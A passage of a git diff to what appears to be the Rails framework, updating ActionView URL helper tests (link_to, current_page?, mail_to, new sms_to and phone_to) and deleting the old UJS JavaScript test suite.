@@ -322,12 +516,12 @@ def test_link_tag_with_javascript_confirm
       link_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
     )
     assert_dom_equal(
-      %{<a href="http://www.example.com" data-confirm="You cant possibly be sure, can you?">Hello</a>},
-      link_to("Hello", "http://www.example.com", data: { confirm: "You cant possibly be sure, can you?" })
+      %{<a href="http://www.example.com" data-confirm="You can't possibly be sure, can you?">Hello</a>},
+      link_to("Hello", "http://www.example.com", data: { confirm: "You can't possibly be sure, can you?" })
     )
     assert_dom_equal(
-      %{<a href="http://www.example.com" data-confirm="You cant possibly be sure,\n can you?">Hello</a>},
-      link_to("Hello", "http://www.example.com", data: { confirm: "You cant possibly be sure,\n can you?" })
+      %{<a href="http://www.example.com" data-confirm="You can't possibly be sure,\n can you?">Hello</a>},
+      link_to("Hello", "http://www.example.com", data: { confirm: "You can't possibly be sure,\n can you?" })
     )
   end
 
@@ -385,6 +579,11 @@ def test_link_tag_using_post_javascript_and_rel
       %{<a href="http://www.example.com" data-method="post" rel="example nofollow">Hello</a>},
       link_to("Hello", "http://www.example.com", method: :post, rel: "example")
     )
+
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-method="post" rel="example nofollow">Hello</a>},
+      link_to("Hello", "http://www.example.com", method: :post, rel: :example)
+    )
   end
 
   def test_link_tag_using_post_javascript_and_confirm
@@ -440,6 +639,18 @@ def test_link_tag_does_not_escape_html_safe_content
       link_to(raw("Malicious <script>content</script>"), "/")
   end
 
+  def test_link_tag_using_active_record_model
+    @workshop = Workshop.new(1.to_s)
+    link = link_to(@workshop)
+    assert_dom_equal %{<a href="/workshops/1">Workshop 1</a>}, link
+  end
+
+  def test_link_tag_using_active_record_model_twice
+    @workshop = Workshop.new(1.to_s)
+    link = link_to(@workshop, @workshop)
+    assert_dom_equal %{<a href="/workshops/1">Workshop 1</a>}, link
+  end
+
   def test_link_to_unless
     assert_equal "Showing", link_to_unless(true, "Showing", url_hash)
 
@@ -499,10 +710,22 @@ def test_current_page_ignoring_params
   def test_current_page_considering_params
     @request = request_for_url("/?order=desc&page=1")
 
-    assert !current_page?(url_hash, check_parameters: true)
-    assert !current_page?(url_hash.merge(check_parameters: true))
-    assert !current_page?(ActionController::Parameters.new(url_hash.merge(check_parameters: true)).permit!)
-    assert !current_page?("http://www.example.com/", check_parameters: true)
+    assert_not current_page?(url_hash, check_parameters: true)
+    assert_not current_page?(url_hash.merge(check_parameters: true))
+    assert_not current_page?(ActionController::Parameters.new(url_hash.merge(check_parameters: true)).permit!)
+    assert_not current_page?("http://www.example.com/", check_parameters: true)
+  end
+
+  def test_current_page_considering_params_when_options_does_not_respond_to_to_hash
+    @request = request_for_url("/?order=desc&page=1")
+
+    assert_not current_page?(:back, check_parameters: false)
+  end
+
+  def test_current_page_when_options_given_as_keyword_arguments
+    @request = request_for_url("/")
+
+    assert current_page?(**url_hash)
   end
 
   def test_current_page_with_params_that_match
@@ -512,10 +735,10 @@ def test_current_page_with_params_that_match
     assert current_page?("http://www.example.com/?order=desc&page=1")
   end
 
-  def test_current_page_with_not_get_verb
-    @request = request_for_url("/events", method: :post)
+  def test_current_page_with_scope_that_match
+    @request = request_for_url("/engine/")
 
-    assert !current_page?("/events")
+    assert current_page?("/engine")
   end
 
   def test_current_page_with_escaped_params
@@ -526,7 +749,7 @@ def test_current_page_with_escaped_params
 
   def test_current_page_with_escaped_params_with_different_encoding
     @request = request_for_url("/")
-    @request.stub(:path, "/category/administra%c3%a7%c3%a3o".force_encoding(Encoding::ASCII_8BIT)) do
+    @request.stub(:path, (+"/category/administra%c3%a7%c3%a3o").force_encoding(Encoding::ASCII_8BIT)) do
       assert current_page?(controller: "foo", action: "category", category: "administração")
       assert current_page?("http://www.example.com/category/administra%c3%a7%c3%a3o")
     end
@@ -542,6 +765,41 @@ def test_current_page_with_trailing_slash
     @request = request_for_url("/posts")
 
     assert current_page?("/posts/")
+    assert current_page?("http://www.example.com/posts/")
+  end
+
+  def test_current_page_with_trailing_slash_and_params
+    @request = request_for_url("/posts?order=desc")
+
+    assert current_page?("/posts/?order=desc")
+    assert current_page?("http://www.example.com/posts/?order=desc")
+  end
+
+  def test_current_page_with_not_get_verb
+    @request = request_for_url("/events", method: :post)
+
+    assert_not current_page?("/events")
+    assert current_page?("/events", method: :post)
+  end
+
+  def test_current_page_with_array_of_methods_including_request_method
+    @request = request_for_url("/events", method: :post)
+
+    assert current_page?("/events", method: [:post, :put, :delete])
+    assert_not current_page?("/events", method: [:put, :delete])
+  end
+
+  def test_current_page_with_array_of_methods_including_get_method_includes_head
+    @request = request_for_url("/events", method: :head)
+
+    assert current_page?("/events", method: [:post, :get])
+  end
+
+  def test_current_page_preserves_method_param_in_url
+    @request = request_for_url("/events?method=post", method: :put)
+
+    assert current_page?("/events?method=post", method: :put)
+    assert_not current_page?("/events?method=post", method: :post)
   end
 
   def test_link_unless_current
@@ -605,17 +863,22 @@ def test_mail_to
 
   def test_mail_to_with_special_characters
     assert_dom_equal(
-      %{<a href="mailto:%23%21%24%25%26%27%2A%2B-%2F%3D%3F%5E_%60%7B%7D%7C%7E@example.org">#!$%&amp;&#39;*+-/=?^_`{}|~@example.org</a>},
-      mail_to("#!$%&'*+-/=?^_`{}|~@example.org")
+      %{<a href="mailto:%23%21%24%25%26%27%2A%2B-%2F%3D%3F%5E_%60%7B%7D%7C@example.org">#!$%&amp;&#39;*+-/=?^_`{}|@example.org</a>},
+      mail_to("#!$%&'*+-/=?^_`{}|@example.org")
     )
   end
 
-  def test_mail_with_options
+  def test_mail_to_with_options
     assert_dom_equal(
       %{<a href="mailto:me@example.com?cc=ccaddress%40example.com&amp;bcc=bccaddress%40example.com&amp;body=This%20is%20the%20body%20of%20the%20message.&amp;subject=This%20is%20an%20example%20email&amp;reply-to=foo%40bar.com">My email</a>},
       mail_to("me@example.com", "My email", cc: "ccaddress@example.com", bcc: "bccaddress@example.com", subject: "This is an example email", body: "This is the body of the message.", reply_to: "foo@bar.com")
     )
 
+    assert_dom_equal(
+      %{<a href="mailto:me@example.com?cc=ccaddress%40example.com&amp;bcc=bccaddress%40example.com&amp;body=This%20is%20the%20body%20of%20the%20message.&amp;subject=This%20is%20an%20example%20email&amp;reply-to=foo%40bar.com">me@example.com</a>},
+      mail_to("me@example.com", cc: "ccaddress@example.com", bcc: "bccaddress@example.com", subject: "This is an example email", body: "This is the body of the message.", reply_to: "foo@bar.com")
+    )
+
     assert_dom_equal(
       %{<a href="mailto:me@example.com?body=This%20is%20the%20body%20of%20the%20message.&amp;subject=This%20is%20an%20example%20email">My email</a>},
       mail_to("me@example.com", "My email", cc: "", bcc: "", subject: "This is an example email", body: "This is the body of the message.")
@@ -642,7 +905,7 @@ def test_mail_to_with_nil
   end
 
   def test_mail_to_returns_html_safe_string
-    assert mail_to("david@loudthinking.com").html_safe?
+    assert_predicate mail_to("david@loudthinking.com"), :html_safe?
   end
 
   def test_mail_to_with_block
@@ -661,11 +924,147 @@ def test_mail_to_does_not_modify_html_options_hash
     assert_equal({ class: "special" }, options)
   end
 
+  def test_sms_to
+    assert_dom_equal %{<a href="sms:15155555785;">15155555785</a>}, sms_to("15155555785")
+    assert_dom_equal %{<a href="sms:15155555785;">Jim Jones</a>}, sms_to("15155555785", "Jim Jones")
+    assert_dom_equal(
+      %{<a class="admin" href="sms:15155555785;">Jim Jones</a>},
+      sms_to("15155555785", "Jim Jones", "class" => "admin")
+    )
+    assert_equal sms_to("15155555785", "Jim Jones", "class" => "admin"),
+                 sms_to("15155555785", "Jim Jones", class: "admin")
+  end
+
+  def test_sms_to_with_options
+    assert_dom_equal(
+      %{<a class="simple-class" href="sms:+015155555785;?&body=Hello%20from%20Jim">Text me</a>},
+      sms_to("5155555785", "Text me", class: "simple-class", country_code: "01", body: "Hello from Jim")
+    )
+
+    assert_dom_equal(
+      %{<a class="simple-class" href="sms:+015155555785;?&body=Hello%20from%20Jim">5155555785</a>},
+      sms_to("5155555785", class: "simple-class", country_code: "01", body: "Hello from Jim")
+    )
+
+    assert_dom_equal(
+      %{<a href="sms:5155555785;?&body=This%20is%20the%20body%20of%20the%20message.">Text me</a>},
+      sms_to("5155555785", "Text me", body: "This is the body of the message.")
+    )
+  end
+
+  def test_sms_to_with_img
+    assert_dom_equal %{<a href="sms:15155555785;"><img src="/feedback.png" /></a>},
+      sms_to("15155555785", raw('<img src="/feedback.png" />'))
+  end
+
+  def test_sms_to_with_html_safe_string
+    assert_dom_equal(
+      %{<a href="sms:1%2B5155555785;">1+5155555785</a>},
+      sms_to(raw("1+5155555785"))
+    )
+  end
+
+  def test_sms_to_with_nil
+    assert_dom_equal(
+      %{<a href="sms:;"></a>},
+      sms_to(nil)
+    )
+  end
+
+  def test_sms_to_returns_html_safe_string
+    assert_predicate sms_to("15155555785"), :html_safe?
+  end
+
+  def test_sms_to_with_block
+    assert_dom_equal %{<a href="sms:15155555785;"><span>Text me</span></a>},
+      sms_to("15155555785") { content_tag(:span, "Text me") }
+  end
+
+  def test_sms_to_with_block_and_options
+    assert_dom_equal %{<a class="special" href="sms:15155555785;?&body=Hello%20from%20Jim"><span>Text me</span></a>},
+      sms_to("15155555785", body: "Hello from Jim", class: "special") { content_tag(:span, "Text me") }
+  end
+
+  def test_sms_to_does_not_modify_html_options_hash
+    options = { class: "special" }
+    sms_to "15155555785", "ME!", options
+    assert_equal({ class: "special" }, options)
+  end
+
+  def test_phone_to
+    assert_dom_equal %{<a href="tel:1234567890">1234567890</a>},
+      phone_to("1234567890")
+    assert_dom_equal %{<a href="tel:1234567890">Bob</a>},
+      phone_to("1234567890", "Bob")
+    assert_dom_equal(
+      %{<a class="phoner" href="tel:1234567890">Bob</a>},
+      phone_to("1234567890", "Bob", "class" => "phoner")
+    )
+    assert_equal phone_to("1234567890", "Bob", "class" => "admin"),
+                 phone_to("1234567890", "Bob", class: "admin")
+  end
+
+  def test_phone_to_with_options
+    assert_dom_equal(
+      %{<a class="example-class" href="tel:+011234567890">Phone</a>},
+      phone_to("1234567890", "Phone", class: "example-class", country_code: "01")
+    )
+
+    assert_dom_equal(
+      %{<a class="example-class" href="tel:+011234567890">1234567890</a>},
+      phone_to("1234567890", class: "example-class", country_code: "01")
+    )
+
+    assert_dom_equal(
+      %{<a href="tel:+011234567890">Phone</a>},
+      phone_to("1234567890", "Phone", country_code: "01")
+    )
+  end
+
+  def test_phone_to_with_img
+    assert_dom_equal %{<a href="tel:1234567890"><img src="/feedback.png" /></a>},
+      phone_to("1234567890", raw('<img src="/feedback.png" />'))
+  end
+
+  def test_phone_to_with_html_safe_string
+    assert_dom_equal(
+      %{<a href="tel:1%2B234567890">1+234567890</a>},
+      phone_to(raw("1+234567890"))
+    )
+  end
+
+  def test_phone_to_with_nil
+    assert_dom_equal(
+      %{<a href="tel:"></a>},
+      phone_to(nil)
+    )
+  end
+
+  def test_phone_to_returns_html_safe_string
+    assert_predicate phone_to("1234567890"), :html_safe?
+  end
+
+  def test_phone_to_with_block
+    assert_dom_equal %{<a href="tel:1234567890"><span>Phone</span></a>},
+      phone_to("1234567890") { content_tag(:span, "Phone") }
+  end
+
+  def test_phone_to_with_block_and_options
+    assert_dom_equal %{<a class="special" href="tel:+011234567890"><span>Phone</span></a>},
+      phone_to("1234567890", country_code: "01", class: "special") { content_tag(:span, "Phone") }
+  end
+
+  def test_phone_to_does_not_modify_html_options_hash
+    options = { class: "special" }
+    phone_to "1234567890", "ME!", options
+    assert_equal({ class: "special" }, options)
+  end
+
   def protect_against_forgery?
     request_forgery
   end
 
-  def form_authenticity_token(*args)
+  def form_authenticity_token(**)
     "secret"
   end
 
@@ -674,16 +1073,19 @@ def request_forgery_protection_token
   end
 
   private
-    def sort_query_string_params(uri)
-      path, qs = uri.split("?")
-      qs = qs.split("&amp;").sort.join("&amp;") if qs
-      qs ? "#{path}?#{qs}" : path
+    def with_prepend_content_exfiltration_prevention(value)
+      old_value = ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention
+      ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = value
+
+      yield
+    ensure
+      ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = old_value
     end
 end
 
 class UrlHelperControllerTest < ActionController::TestCase
   class UrlHelperController < ActionController::Base
-    test_routes do
+    ROUTES = test_routes do
       get "url_helper_controller_test/url_helper/show/:id",
         to: "url_helper_controller_test/url_helper#show",
         as: :show
@@ -696,7 +1098,7 @@ class UrlHelperController < ActionController::Base
         to: "url_helper_controller_test/url_helper#show_named_route",
         as: :show_named_route
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "/:controller(/:action(/:id))"
       end
 
@@ -747,6 +1149,11 @@ def override_url_helper_path
     helper_method :override_url_helper_path
   end
 
+  def setup
+    super
+    @routes = UrlHelperController::ROUTES
+  end
+
   tests UrlHelperController
 
   def test_url_for_shows_only_path
@@ -807,7 +1214,7 @@ def test_url_helper_can_be_overridden
 end
 
 class TasksController < ActionController::Base
-  test_routes do
+  ROUTES = test_routes do
     resources :tasks
   end
 
@@ -829,6 +1236,11 @@ def render_default
 class LinkToUnlessCurrentWithControllerTest < ActionController::TestCase
   tests TasksController
 
+  def setup
+    super
+    @routes = TasksController::ROUTES
+  end
+
   def test_link_to_unless_current_to_current
     get :index
     assert_equal "tasks\ntasks", @response.body
@@ -861,7 +1273,7 @@ def to_s
 end
 
 class WorkshopsController < ActionController::Base
-  test_routes do
+  ROUTES = test_routes do
     resources :workshops do
       resources :sessions
     end
@@ -876,10 +1288,15 @@ def show
     @workshop = Workshop.new(params[:id])
     render inline: "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
   end
+
+  def edit
+    @workshop = Workshop.new(params[:id])
+    render inline: "<%= current_page?(@workshop) %>"
+  end
 end
 
 class SessionsController < ActionController::Base
-  test_routes do
+  ROUTES = test_routes do
     resources :workshops do
       resources :sessions
     end
@@ -906,7 +1323,12 @@ def edit
 end
 
 class PolymorphicControllerTest < ActionController::TestCase
-  def test_new_resource
+  def setup
+    super
+    @routes = WorkshopsController::ROUTES
+  end
+
+  def test_index_resource
     @controller = WorkshopsController.new
 
     get :index
@@ -920,6 +1342,27 @@ def test_existing_resource
     assert_equal %{/workshops/1\n<a href="/workshops/1">Workshop</a>}, @response.body
   end
 
+  def test_existing_cpk_resource
+    @controller = WorkshopsController.new
+
+    get :show, params: { id: "1-27" }
+    assert_equal %{/workshops/1-27\n<a href="/workshops/1-27">Workshop</a>}, @response.body
+  end
+
+  def test_current_page_when_options_does_not_respond_to_to_hash
+    @controller = WorkshopsController.new
+
+    get :edit, params: { id: 1 }
+    assert_equal "false", @response.body
+  end
+end
+
+class PolymorphicSessionsControllerTest < ActionController::TestCase
+  def setup
+    super
+    @routes = SessionsController::ROUTES
+  end
+
   def test_new_nested_resource
     @controller = SessionsController.new
 
diff --git a/actionview/test/ujs/.gitignore b/actionview/test/ujs/.gitignore
deleted file mode 100644
index 31dbbff57c28a..0000000000000
--- a/actionview/test/ujs/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/log
diff --git a/actionview/test/ujs/config.ru b/actionview/test/ujs/config.ru
deleted file mode 100644
index 414c2063c3dbb..0000000000000
--- a/actionview/test/ujs/config.ru
+++ /dev/null
@@ -1,3 +0,0 @@
-$LOAD_PATH.unshift File.expand_path("..", __FILE__)
-require "server"
-run UJS::Server
diff --git a/actionview/test/ujs/public/test/.eslintrc.yml b/actionview/test/ujs/public/test/.eslintrc.yml
deleted file mode 100644
index 06d7dd36ea8ff..0000000000000
--- a/actionview/test/ujs/public/test/.eslintrc.yml
+++ /dev/null
@@ -1,21 +0,0 @@
-env:
-  browser: true
-extends: eslint:recommended
-rules:
-  no-undef: off
-  no-unused-vars: off
-  indent: off
-  linebreak-style: ['error', 'unix']
-  quotes: ['error', 'single']
-  semi: ['error', 'never']
-  no-shadow: ['error'] # Prevent potential errors
-  no-console: 'off'
-  # styles
-  space-before-function-paren: ['error', 'never']
-  space-before-blocks: 'error'
-  brace-style: ['error', '1tbs', { allowSingleLine: true }]
-  key-spacing: 'error'
-  array-bracket-spacing: 'error'
-  comma-spacing: 'error'
-  comma-dangle: 'off'
-  eol-last: 'error'
diff --git a/actionview/test/ujs/public/test/call-remote-callbacks.js b/actionview/test/ujs/public/test/call-remote-callbacks.js
deleted file mode 100644
index 082d10bfbdc07..0000000000000
--- a/actionview/test/ujs/public/test/call-remote-callbacks.js
+++ /dev/null
@@ -1,469 +0,0 @@
-(function() {
-
-module('call-remote-callbacks', {
-  setup: function() {
-    $('#qunit-fixture').append($('<form />', {
-      action: '/echo', method: 'get', 'data-remote': 'true'
-    }))
-  },
-  teardown: function() {
-    $(document).undelegate('form[data-remote]', 'ajax:beforeSend')
-    $(document).undelegate('form[data-remote]', 'ajax:before')
-    $(document).undelegate('form[data-remote]', 'ajax:send')
-    $(document).undelegate('form[data-remote]', 'ajax:complete')
-    $(document).undelegate('form[data-remote]', 'ajax:success')
-    $(document).unbind('ajaxStop')
-    $(document).unbind('iframe:loading')
-  }
-})
-
-function start_after_submit(form) {
-  form.bindNative('ajax:complete', function() {
-    ok(true, 'ajax:complete')
-    start()
-  })
-}
-
-function submit(fn) {
-  var form = $('form')
-  start_after_submit(form)
-
-  if (fn) fn(form)
-  form.triggerNative('submit')
-}
-
-function submit_with_button(submit_button) {
-  var form = $('form')
-  start_after_submit(form)
-
-  submit_button.triggerNative('click')
-}
-
-asyncTest('modifying form fields with "ajax:before" sends modified data in request', 4, function() {
-  $('form[data-remote]')
-    .append($('<input type="text" name="user_name" value="john">'))
-    .append($('<input type="text" name="removed_user_name" value="john">'))
-    .bindNative('ajax:before', function() {
-      var form = $(this)
-      form
-        .append($('<input />', {name: 'other_user_name', value: 'jonathan'}))
-        .find('input[name="removed_user_name"]').remove()
-      form
-        .find('input[name="user_name"]').val('steve')
-    })
-
-  submit(function(form) {
-    form.bindNative('ajax:success', function(e, data, status, xhr) {
-      equal(data.params.user_name, 'steve', 'modified field value should have been submitted')
-      equal(data.params.other_user_name, 'jonathan', 'added field value should have been submitted')
-      equal(data.params.removed_user_name, undefined, 'removed field value should be undefined')
-    })
-  })
-})
-
-asyncTest('modifying data("type") with "ajax:before" requests new dataType in request', 2, function() {
-  $('form[data-remote]').data('type', 'html')
-    .bindNative('ajax:before', function() {
-      this.setAttribute('data-type', 'xml')
-    })
-
-  submit(function(form) {
-    form.bindNative('ajax:beforeSend', function(e, xhr, settings) {
-      equal(settings.dataType, 'xml', 'modified dataType should have been requested')
-    })
-  })
-})
-
-asyncTest('setting data("with-credentials",true) with "ajax:before" uses new setting in request', 2, function() {
-  $('form[data-remote]').data('with-credentials', false)
-    .bindNative('ajax:before', function() {
-      this.setAttribute('data-with-credentials', true)
-    })
-
-  submit(function(form) {
-    form.bindNative('ajax:beforeSend', function(e, xhr, settings) {
-      equal(settings.withCredentials, true, 'setting modified in ajax:before should have forced withCredentials request')
-    })
-  })
-})
-
-asyncTest('stopping the "ajax:beforeSend" event aborts the request', 1, function() {
-  submit(function(form) {
-    form.bindNative('ajax:beforeSend', function() {
-      ok(true, 'aborting request in ajax:beforeSend')
-      return false
-    })
-    form.unbind('ajax:send').bindNative('ajax:send', function() {
-      ok(false, 'ajax:send should not run')
-    })
-    form.unbind('ajax:complete').bindNative('ajax:complete', function() {
-      ok(false, 'ajax:complete should not run')
-    })
-    form.bindNative('ajax:error', function(e, xhr, status, error) {
-      ok(false, 'ajax:error should not run')
-    })
-    $(document).bindNative('ajaxStop', function() {
-      start()
-    })
-  })
-})
-
-asyncTest('blank required form input field should abort request and trigger "ajax:aborted:required" event', 5, function() {
-  $(document).bind('iframe:loading', function() {
-    ok(false, 'form should not get submitted')
-  })
-
-  var form = $('form[data-remote]')
-    .append($('<input type="text" name="user_name" required="required">'))
-    .append($('<textarea name="user_bio" required="required"></textarea>'))
-    .bindNative('ajax:beforeSend', function() {
-      ok(false, 'ajax:beforeSend should not run')
-    })
-    .bindNative('ajax:aborted:required', function(e, data) {
-      data = $(data)
-      ok(data.length == 2, 'ajax:aborted:required event is passed all blank required inputs (jQuery objects)')
-      ok(data.first().is('input[name="user_name"]'), 'ajax:aborted:required adds blank required input to data')
-      ok(data.last().is('textarea[name="user_bio"]'), 'ajax:aborted:required adds blank required textarea to data')
-      ok(true, 'ajax:aborted:required should run')
-    })
-    .triggerNative('submit')
-
-  setTimeout(function() {
-    form.find('input[required],textarea[required]').val('Tyler')
-    form.unbind('ajax:beforeSend')
-    submit()
-  }, 13)
-})
-
-asyncTest('blank required form input for non-remote form should abort normal submission', 1, function() {
-  var form = $('form[data-remote]')
-    .append($('<input type="text" name="user_name" required="required">'))
-    .removeAttr('data-remote')
-    .bindNative('ujs:everythingStopped', function() {
-      ok(true, 'ujs:everythingStopped should run')
-    })
-    .triggerNative('submit')
-
-  setTimeout(function() {
-    start()
-  }, 13)
-})
-
-asyncTest('form should be submitted with blank required fields if handler is bound to "ajax:aborted:required" event that returns false', 1, function() {
-  var form = $('form[data-remote]')
-    .append($('<input type="text" name="user_name" required="required">'))
-    .bindNative('ajax:beforeSend', function() {
-      ok(true, 'ajax:beforeSend should run')
-    })
-    .bindNative('ajax:aborted:required', function() {
-      return false
-    })
-    .triggerNative('submit')
-
-  setTimeout(function() {
-    start()
-  }, 13)
-})
-
-asyncTest('disabled fields should not be included in blank required check', 2, function() {
-  var form = $('form[data-remote]')
-    .append($('<input type="text" name="user_name" required="required" disabled="disabled">'))
-    .append($('<textarea name="user_bio" required="required" disabled="disabled"></textarea>'))
-    .bindNative('ajax:beforeSend', function() {
-      ok(true, 'ajax:beforeSend should run')
-    })
-    .bindNative('ajax:aborted:required', function() {
-      ok(false, 'ajax:aborted:required should not run')
-    })
-
-  submit()
-})
-
-asyncTest('form should be submitted with blank required fields if it has the "novalidate" attribute', 2, function() {
-  var form = $('form[data-remote]')
-    .append($('<input type="text" name="user_name" required="required">'))
-    .attr('novalidate', 'novalidate')
-    .bindNative('ajax:beforeSend', function() {
-      ok(true, 'ajax:beforeSend should run')
-    })
-    .bindNative('ajax:aborted:required', function() {
-      ok(false, 'ajax:aborted:required should not run')
-    })
-
-  submit()
-})
-
-asyncTest('form should be submitted with blank required fields if the button has the "formnovalidate" attribute', 2, function() {
-  var submit_button = $('<input type="submit" formnovalidate>')
-  var form = $('form[data-remote]')
-    .append($('<input type="text" name="user_name" required="required">'))
-    .append(submit_button)
-    .bindNative('ajax:beforeSend', function() {
-      ok(true, 'ajax:beforeSend should run')
-    })
-    .bindNative('ajax:aborted:required', function() {
-      ok(false, 'ajax:aborted:required should not run')
-    })
-
-  submit_with_button(submit_button)
-})
-
-asyncTest('blank required form input for non-remote form with "novalidate" attribute should not abort normal submission', 1, function() {
-  $(document).bind('iframe:loading', function() {
-    ok(true, 'form should get submitted')
-  })
-
-  var form = $('form[data-remote]')
-    .append($('<input type="text" name="user_name" required="required">'))
-    .removeAttr('data-remote')
-    .attr('novalidate', 'novalidate')
-    .triggerNative('submit')
-
-  setTimeout(function() {
-    start()
-  }, 13)
-})
-
-asyncTest('unchecked required checkbox should abort form submission', 1, function() {
-  var form = $('form[data-remote]')
-    .append($('<input type="checkbox" name="agree" required="required">'))
-    .removeAttr('data-remote')
-    .bindNative('ujs:everythingStopped', function() {
-      ok(true, 'ujs:everythingStopped should run')
-    })
-    .triggerNative('submit')
-
-  setTimeout(function() {
-    start()
-  }, 13)
-})
-
-asyncTest('unchecked required radio should abort form submission', 3, function() {
-  var form = $('form[data-remote]')
-    .append($('<input type="radio" name="yes_no_none" required="required" value=1>'))
-    .append($('<input type="radio" name="yes_no_none" required="required" value=2>'))
-    .removeAttr('data-remote')
-    .bindNative('ujs:everythingStopped', function() {
-      ok(true, 'ujs:everythingStopped should run')
-    })
-    .bindNative('ajax:aborted:required', function(e, data) {
-      data = $(data)
-      equal(data.length, 2, 'blankRequiredInputs should include both radios')
-      ok(data.first().is('input[type=radio][value=1]'), 'blankRequiredInputs[0] should be the first radio')
-    })
-    .triggerNative('submit')
-
-  setTimeout(function() {
-    start()
-  }, 13)
-})
-
-asyncTest('required radio should only require one to be checked', 1, function() {
-  $(document).bind('iframe:loading', function() {
-    ok(true, 'form should get submitted')
-  })
-
-  var form = $('form[data-remote]')
-    .append($('<input type="radio" name="yes_no" required="required" value=1 id="checkme">'))
-    .append($('<input type="radio" name="yes_no" required="required" value=2>'))
-    .removeAttr('data-remote')
-    .bindNative('ujs:everythingStopped', function() {
-      ok(false, 'ujs:everythingStopped should not run')
-    })
-    .find('#checkme').prop('checked', true)
-    .end()
-    .triggerNative('submit')
-
-  setTimeout(function() {
-    start()
-  }, 13)
-})
-
-asyncTest('required radio should only require one to be checked if not all radios are required', 1, function() {
-  $(document).bind('iframe:loading', function() {
-    ok(true, 'form should get submitted')
-  })
-
-  var form = $('form[data-remote]')
-    // Check the radio that is not required
-    .append($('<input type="radio" name="yes_no_maybe" value=1 >'))
-    // Check the radio that is not required
-    .append($('<input type="radio" name="yes_no_maybe" value=2 id="checkme">'))
-    // Only one needs to be required
-    .append($('<input type="radio" name="yes_no_maybe" required="required" value=3>'))
-    .removeAttr('data-remote')
-    .bindNative('ujs:everythingStopped', function() {
-      ok(false, 'ujs:everythingStopped should not run')
-    })
-    .find('#checkme').prop('checked', true)
-    .end()
-    .triggerNative('submit')
-
-  setTimeout(function() {
-    start()
-  }, 13)
-})
-
-function skipIt() {
-  // This test cannot work due to the security feature in browsers which makes the value
-  // attribute of file input fields readonly, so it cannot be set with default value.
-  // This is what the test would look like though if browsers let us automate this test.
-  asyncTest('non-blank file form input field should abort remote request, but submit normally', 5, function() {
-    var form = $('form[data-remote]')
-          .append($('<input type="file" name="attachment" value="default.png">'))
-          .bindNative('ajax:beforeSend', function() {
-            ok(false, 'ajax:beforeSend should not run')
-          })
-          .bind('iframe:loading', function() {
-            ok(true, 'form should get submitted')
-          })
-          .bindNative('ajax:aborted:file', function(e, data) {
-            ok(data.length == 1, 'ajax:aborted:file event is passed all non-blank file inputs (jQuery objects)')
-            ok(data.first().is('input[name="attachment"]'), 'ajax:aborted:file adds non-blank file input to data')
-            ok(true, 'ajax:aborted:file event should run')
-          })
-          .triggerNative('submit')
-
-    setTimeout(function() {
-      form.find('input[type="file"]').val('')
-      form.unbind('ajax:beforeSend')
-      submit()
-    }, 13)
-  })
-
-  asyncTest('file form input field should not abort remote request if file form input does not have a name attribute', 5, function() {
-    var form = $('form[data-remote]')
-          .append($('<input type="file" value="default.png">'))
-          .bindNative('ajax:beforeSend', function() {
-            ok(true, 'ajax:beforeSend should run')
-          })
-          .bind('iframe:loading', function() {
-            ok(true, 'form should get submitted')
-          })
-          .bindNative('ajax:aborted:file', function(e, data) {
-            ok(false, 'ajax:aborted:file should not run')
-          })
-          .triggerNative('submit')
-
-    setTimeout(function() {
-      form.find('input[type="file"]').val('')
-      form.unbind('ajax:beforeSend')
-      submit()
-    }, 13)
-  })
-
-  asyncTest('blank file input field should abort request entirely if handler bound to "ajax:aborted:file" event that returns false', 1, function() {
-    var form = $('form[data-remote]')
-          .append($('<input type="file" name="attachment" value="default.png">'))
-          .bindNative('ajax:beforeSend', function() {
-            ok(false, 'ajax:beforeSend should not run')
-          })
-          .bind('iframe:loading', function() {
-            ok(false, 'form should not get submitted')
-          })
-          .bindNative('ajax:aborted:file', function() {
-            return false
-          })
-          .triggerNative('submit')
-
-    setTimeout(function() {
-      form.find('input[type="file"]').val('')
-      form.unbind('ajax:beforeSend')
-      submit()
-    }, 13)
-  })
-}
-
-asyncTest('"ajax:beforeSend" can be observed and stopped with event delegation', 1, function() {
-  $(document).delegate('form[data-remote]', 'ajax:beforeSend', function() {
-    ok(true, 'ajax:beforeSend observed with event delegation')
-    return false
-  })
-
-  submit(function(form) {
-    form.unbind('ajax:send').bindNative('ajax:send', function() {
-      ok(false, 'ajax:send should not run')
-    })
-    form.unbind('ajax:complete').bindNative('ajax:complete', function() {
-      ok(false, 'ajax:complete should not run')
-    })
-    $(document).bindNative('ajaxStop', function() {
-      start()
-    })
-  })
-})
-
-asyncTest('"ajax:beforeSend", "ajax:send", "ajax:success" and "ajax:complete" are triggered', 9, function() {
-  submit(function(form) {
-    form.bindNative('ajax:beforeSend', function(e, xhr, settings) {
-      ok(xhr.setRequestHeader, 'first argument to "ajax:beforeSend" should be an XHR object')
-      equal(settings.url, '/echo', 'second argument to "ajax:beforeSend" should be a settings object')
-    })
-    form.bindNative('ajax:send', function(e, xhr) {
-      ok(xhr.abort, 'first argument to "ajax:send" should be an XHR object')
-    })
-    form.bindNative('ajax:success', function(e, data, status, xhr) {
-      ok(data.REQUEST_METHOD, 'first argument to ajax:success should be a data object')
-      equal(status, 'OK', 'second argument to ajax:success should be a status string')
-      ok(xhr.getResponseHeader, 'third argument to "ajax:success" should be an XHR object')
-    })
-    form.bindNative('ajax:complete', function(e, xhr, status) {
-      ok(xhr.getResponseHeader, 'first argument to "ajax:complete" should be an XHR object')
-      equal(status, 'OK', 'second argument to ajax:complete should be a status string')
-    })
-  })
-})
-
-if(window.phantom !== undefined) {
-  asyncTest('"ajax:beforeSend", "ajax:send", "ajax:error" and "ajax:complete" are triggered on error', 7, function() {
-    submit(function(form) {
-      form.attr('action', '/error')
-      form.bindNative('ajax:beforeSend', function(arg) { ok(true, 'ajax:beforeSend') })
-      form.bindNative('ajax:send', function(arg) { ok(true, 'ajax:send') })
-      form.bindNative('ajax:error', function(e, xhr, status, error) {
-        ok(xhr.getResponseHeader, 'first argument to "ajax:error" should be an XHR object')
-        equal(status, 'error', 'second argument to ajax:error should be a status string')
